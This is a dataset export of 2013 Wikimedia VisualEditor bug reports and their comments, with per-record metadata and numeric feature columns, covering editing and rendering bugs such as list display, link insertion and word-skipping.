**Severity**: normal",Needs Triage,90.0,1367047080,1367097296.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-ul25dgz4nyeridoqmsqg,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,1.0,1.0,8.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,3.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,11.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,0.0,3.0,0.0,1.0,1.0,1.0,4.0,0.0,0.0,0.0,3.848101265822785,0.6329113924050633,"CSS and JS pages shouldn't be editable using the VisualEditor, but only using the regular source editor. These pages should only have the ""Edit source"" tab.

(It may make sense to have them editable using the source code editor that is used for Lua, but that's a separate issue.)

--------------------------
**Version**: unspecified
**Severity**: normal"
207992,[VisualEditor] CSS and JS pages should only be editable using the source editor,"

*** This bug has been marked as a duplicate of bug 47456 ***",,,1367097296,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ul25dgz4nyeridoqmsqg,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47456 ***"
49755,Feedback is broken,"**Author:** `benedix`

**Description:**
One of the feedback-mechanisms in the VisualEditor is broken:

'visual editor' -> 'review and save' -> 'something is wrong' -> 'report problem'

I made a little test:
http://www.youtube.com/watch?v=Zzt_2CBfTNI (35 seconds)

The feedback is sent to http://parsoid.wmflabs.org/_bugs/ but the request is canceled after a few seconds. 


Btw. There is no visual feedback to the user that shows him to wait while the request is pending.


Lukas

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1367013780,1367222196.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-a56uzvltsvz2gw6egtar,task_description,invalid,True,c1,1,False,False,True,-10,,1.0,0.5,0.0,2.0,0.0,5.0,0.5,0.0,0.0,0.0,0.5,4.0,0.0,0.0,1.0,0.5,0.0,0.0,5.0,0.5,1.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,1.0,1.0,0.0,2.0,0.0,0.5,0.0,1.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.5,4.5,9.0,1.0,1.5,6.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,1.5,5.0,3.0,0.0,4.0,0.0,1.5,0.0,1.0,1.5,1.0,1.0,0.0,0.0,1.5,3.418032786885246,0.6147540983606558,"**Author:** CODE

**Description:**
One of the feedback-mechanisms in the VisualEditor is broken:

'visual editor' -> 'review and save' -> 'something is wrong' -> 'report problem'

I made a little test:
URL (35 seconds)

The feedback is sent to URL but the request is canceled after a few seconds. 


Btw. There is no visual feedback to the user that shows him to wait while the request is pending.


Lukas

--------------------------
**Version**: unspecified
**Severity**: normal"
207265,Feedback is broken,"Not actually broken, see bug 42974.",,,1367222196,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-a56uzvltsvz2gw6egtar,task_subcomment,,True,c1,1,False,,,-9,,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Not actually broken, see bug 42974."
49751,A paragraph with multiple hash marks in the beginning is shown differently in VE and in output page,"See the URL for a demo.

The last line in the source of the demo page has an empty paragraph before it and several hash marks in the beginning.

In the output page it is shown as ""1. 1. 1. 1. 1. 1. 1. A"".

In the VE it is shown as
1.
 1.
  1.
   1.
    1.
     1.
      1. A

This is an edge case but it should should probably be identical in any case.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/VisualEditor:Multiple_hashes",Needs Triage,90.0,1367008080,1367009441.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-exyn4bfiq2igip2xy6r4,task_description,declined,True,c1,1,False,False,True,-10,,1.5,0.0,0.0,1.0,0.0,4.0,1.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,15.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,2.5,8.0,0.0,1.5,8.0,0.0,0.0,0.0,0.0,1.5,0.0,8.0,0.0,2.5,5.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,2.8257575757575757,0.5151515151515151,"See the URL for a demo.

The last line in the source of the demo page has an empty paragraph before it and several hash marks in the beginning.

In the output page it is shown as ""1. 1. 1. 1. 1. 1. 1. A"".

In the VE it is shown as
1.
 1.
  1.
   1.
    1.
     1.
      1. A

This is an edge case but it should should probably be identical in any case.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
233225,A paragraph with multiple hash marks in the beginning is shown differently in VE and in output page,"Confirm that this is intentional behaviour. There are a number of ways in which VisualEditor is deliberately not merely a WYSIWYG editor, and we should probably explain them so it's less confusing.",,,1367019704,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-exyn4bfiq2igip2xy6r4,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,17.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,8.0,8.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,6.0,3.0,0.0,3.0,0.0,0.0,4.611111111111111,0.9166666666666666,"Confirm that this is intentional behaviour. There are a number of ways in which VisualEditor is deliberately not merely a WYSIWYG editor, and we should probably explain them so it's less confusing."
233217,A paragraph with multiple hash marks in the beginning is shown differently in VE and in output page,As far as I know it is supposed to be that way - otherwise you wouldn't be able to add content to list item at each level. James - please confirm (and reopen if I'm wrong).,,,1367009441,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-exyn4bfiq2igip2xy6r4,task_subcomment,,True,c1,1,False,,,-10,,2.0,0.0,0.0,2.0,2.0,5.0,5.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,5.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,10.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,10.0,14.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.261904761904762,0.8571428571428571,As far as I know it is supposed to be that way - otherwise you wouldn't be able to add content to list item at each level. James - please confirm (and reopen if I'm wrong).
49546,VisualEditor: Adding a hyperlink to an exsisting page deletes the line. The link doesn't get inserted (undefined),"**Author:** `mh87`

**Description:**
I tried to add a link to a word. The page containing this word already exsists so the Editor tells me ""Matching pages"" and lists the word.

When I click the matching word to add the Hyperlink the word says ""undefined"". After clicking ok the whole line gets deleted

MediaWiki Alpha 1.22
VisualEditor 0.1.0 (latest snapshot)
Chrome 26.0.1410.64 m

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 7
**Platform**: PC",Needs Triage,90.0,1366719660,1366741802.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-ajr6uvwq3l2hdzyqjden,task_description,resolved,True,c1,1,False,False,True,-10,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,1.0,0.5,5.5,0.0,0.0,0.0,0.0,1.0,0.0,3.5,0.0,1.5,3.0,7.0,0.0,2.5,0.0,1.5,0.0,0.5,1.0,0.5,1.5,0.0,1.0,0.0,3.5666666666666664,0.6083333333333334,"**Author:** CODE

**Description:**
I tried to add a link to a word. The page containing this word already exsists so the Editor tells me ""Matching pages"" and lists the word.

When I click the matching word to add the Hyperlink the word says ""undefined"". After clicking ok the whole line gets deleted

MediaWiki Alpha 1.22
VisualEditor 0.1.0 (latest snapshot)
Chrome 26.0.1410.64 m

--------------------------
**Version**: unspecified
**Severity**: major
**OS**: Windows 7
**Platform**: PC"
219973,VisualEditor: Adding a hyperlink to an exsisting page deletes the line. The link doesn't get inserted (undefined),"

*** This bug has been marked as a duplicate of bug 47413 ***",,,1366741802,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ajr6uvwq3l2hdzyqjden,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47413 ***"
219969,VisualEditor: Adding a hyperlink to an exsisting page deletes the line. The link doesn't get inserted (undefined),"**mh87** wrote:

After click on the matching link item it says undefined

**Attached**: {F10658}",,,1366719765,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ajr6uvwq3l2hdzyqjden,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0357142857142856,0.6785714285714286,"**mh87** wrote:

After click on the matching link item it says undefined

**Attached**: {F10658}"
49419,"VisualEditor: Dirty diffs with FF, but not in Chrome on pages with citations","Performing small edits on pages with citations like http://en.wikipedia.org/wiki/JRuby results in a clean diff in Chrome, but produces a dirty diff when using Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1366388640,1366391720.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-ob7cxxrhd6d3aeazrujm,task_description,resolved,True,c1,1,True,False,True,-11,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,14.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,4.204545454545454,0.7272727272727273,"Performing small edits on pages with citations like URL results in a clean diff in Chrome, but produces a dirty diff when using Firefox.

--------------------------
**Version**: unspecified
**Severity**: normal"
212180,"VisualEditor: Dirty diffs with FF, but not in Chrome on pages with citations","

*** This bug has been marked as a duplicate of bug 47417 ***",,,1366391720,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob7cxxrhd6d3aeazrujm,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 47417 ***"
212174,"VisualEditor: Dirty diffs with FF, but not in Chrome on pages with citations","Example edit:
https://en.wikipedia.org/w/index.php?title=User:Fluffernutter/Kinne&curid=37842561&diff=551148728&oldid=551148307",,,1366388836,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-ob7cxxrhd6d3aeazrujm,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,"Example edit:
URL"
49258,VisualEditor: Problem with placing cursor inside slug (inline|block) with mouse,"Cursor correctly appear and blinks in slug, but surface completely does not know about it, so when user start typing it does not convert slug into paragraph (for block level slug) or delete slug (for inline slug).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1366058760,1366059192.0,PHID-USER-s7sn3zjthnxvep34c5ho,False,,False,PHID-TASK-vav3ssxyt7puz6mth7ck,task_description,resolved,True,c1,1,False,False,True,-11,,0.0,0.0,2.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,8.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.016129032258065,0.6774193548387096,"Cursor correctly appear and blinks in slug, but surface completely does not know about it, so when user start typing it does not convert slug into paragraph (for block level slug) or delete slug (for inline slug).

--------------------------
**Version**: unspecified
**Severity**: normal"
228421,VisualEditor: Problem with placing cursor inside slug (inline|block) with mouse,Fixed here: https://gerrit.wikimedia.org/r/#/c/59199/,,,1366059192,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vav3ssxyt7puz6mth7ck,task_subcomment,,True,c1,1,False,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,Fixed here: URL
48794,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,"Currently we can't use the UnicodeJS.wordbreak library to emulate word skipping (ctrl+arrow / alt+arrow) functionality as wordbreaks appear either side of whitespace and between multiple whitespaces:

|One| |Two| | |Three|

Moving forwards we expect the cursor to stop in the following positions:
One| Two| Three|

Moving backwards we expect:
|One |Two |Three

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1364916660,1366142624.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-ryyonehlcnqdc46zjg2w,task_description,resolved,True,c1,1,True,False,True,-13,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,5.0,7.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,7.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.753086419753086,0.7037037037037037,"Currently we can't use the UnicodeJS.wordbreak library to emulate word skipping (ctrl+arrow / alt+arrow) functionality as wordbreaks appear either side of whitespace and between multiple whitespaces:

|One| |Two| | |Three|

Moving forwards we expect the cursor to stop in the following positions:
One| Two| Three|

Moving backwards we expect:
|One |Two |Three

--------------------------
**Version**: unspecified
**Severity**: normal"
225500,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,Now fixed.,,,1366142624,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Now fixed.
225490,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,Related URL: https://gerrit.wikimedia.org/r/58868 (Gerrit Change I6b2700d65476c4d34ba4a01a88382d7af8e736fb),,,1365765433,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I6b2700d65476c4d34ba4a01a88382d7af8e736fb)
225481,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,Actually Ed is still working on it.,,,1365029413,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,False,,,-13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,3.625,1.0,Actually Ed is still working on it.
225476,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,I have added better support for skipping white spaces in 4th patch set: https://gerrit.wikimedia.org/r/#/c/57076/,,,1365024583,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,False,,,-13,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,4.133333333333334,1.0,I have added better support for skipping white spaces in 4th patch set: URL
225473,VisualEditor: Add whitespace skipping to UnicodeJS.wordbreak for word skipping functionality,"Looking at other implementations, sepcifically OpenOffice, they have an ""ignore whitespace"" mode in their nextWord function:

https://svn.apache.org/repos/asf/incubator/ooo/symphony/trunk/main/i18npool/source/breakiterator/breakiterator_unicode.cxx

which calls an is_whitepsace function, which is defined as:
http://www.icu-project.org/apiref/icu4c/uchar_8h.html#a5cef869b23e8d8e649963457cccca68e",,,1364916742,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ryyonehlcnqdc46zjg2w,task_subcomment,,True,c1,1,True,,,-13,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,5.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,3.0,0.0,0.0,0.0,4.621621621621622,0.7567567567567568,"Looking at other implementations, sepcifically OpenOffice, they have an ""ignore whitespace"" mode in their nextWord function:

URL

which calls an is_whitepsace function, which is defined as:
URL"
48619,VisualEditor: Allow nodes to handle their own children,"DM nodes should be able to handle their own children, rather than having the converter do it for them.

This means we need a .static.handlesOwnChildren flag or something similar, and a way for .toDataElement to recursively invoke the converter to convert a sub-DOM to a sub-linmod.

Reflecting this, CE nodes should be able to take control of the rendering of their children as well.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1364433480,1366130702.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-4q75ixwk7yvcayzud2qd,task_description,resolved,True,c1,1,False,False,True,-14,,0.0,1.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,11.0,1.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,7.0,2.0,7.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,11.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,1.0,2.0,0.0,0.0,0.0,4.191489361702128,0.6276595744680851,"DM nodes should be able to handle their own children, rather than having the converter do it for them.

This means we need a .static.handlesOwnChildren flag or something similar, and a way for .toDataElement to recursively invoke the converter to convert a sub-DOM to a sub-linmod.

Reflecting this, CE nodes should be able to take control of the rendering of their children as well.

--------------------------
**Version**: unspecified
**Severity**: normal"
